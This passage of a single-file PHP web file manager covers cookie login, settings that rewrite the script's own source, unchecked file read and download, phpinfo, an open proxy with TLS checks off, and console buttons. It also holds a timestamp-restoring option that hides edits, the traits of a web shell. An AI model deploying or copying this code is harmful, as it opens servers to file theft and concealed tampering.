CitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//§Ü§Ñ§Ü-§ä§à §ä§à§Ø§Ö §á§à§Õ§Þ§Ö§ß§ñ§ä§î §ß§Ñ§Õ§à
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

function find_text_in_files($dir, $mask, $text) {
    $results = array();
    if ($handle = opendir($dir)) {
        while (false !== ($entry = readdir($handle))) {
            if ($entry != "." && $entry != "..") {
                $path = $dir . "/" . $entry;
                if (is_dir($path)) {
                    $results = array_merge($results, find_text_in_files($path, $mask, $text));
                } else {
                    if (fnmatch($mask, $entry)) {
                        $contents = file_get_contents($path);
                        if (strpos($contents, $text) !== false) {
                            $results[] = str_replace('//', '/', $path);
                        }
                    }
                }
            }
        }
        closedir($handle);
    }
    return $results;
}


/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg_ntimes = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg_ntimes .= __('File updated');
				if ($_POST['fm_login']['login'] != $auth['login']) $msg_ntimes .= ' '.__('Login').': '.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] != $auth['password']) $msg_ntimes .= ' '.__('Password').': '.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg_ntimes .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg_ntimes .= __('File updated');
				} else $msg_ntimes .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
			}	
		} else $msg_ntimes .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
		$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title></title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: #DD6900; text-decoration: underline; }
a.th:link { color: #FFA34F; text-decoration: none; }
a.th:active { color: #FFA34F; text-decoration: none; }
a.th:visited { color: #FFA34F; text-decoration: none; }
a.th:hover {  color: #FFA34F; text-decoration: underline; }

table.bg {
	background-color: #ACBBC6
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	#006699;
	color:				#FFA34F;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	#EFEFEF;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#D1D7DC;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	#F0F6F6;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
    background-image: url("data:image/png;base64,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");
}

.file {
    background-image: url("data:image/png;base64,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");
}
<?=fm_home_style()?>
.img {
	background-image: 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31x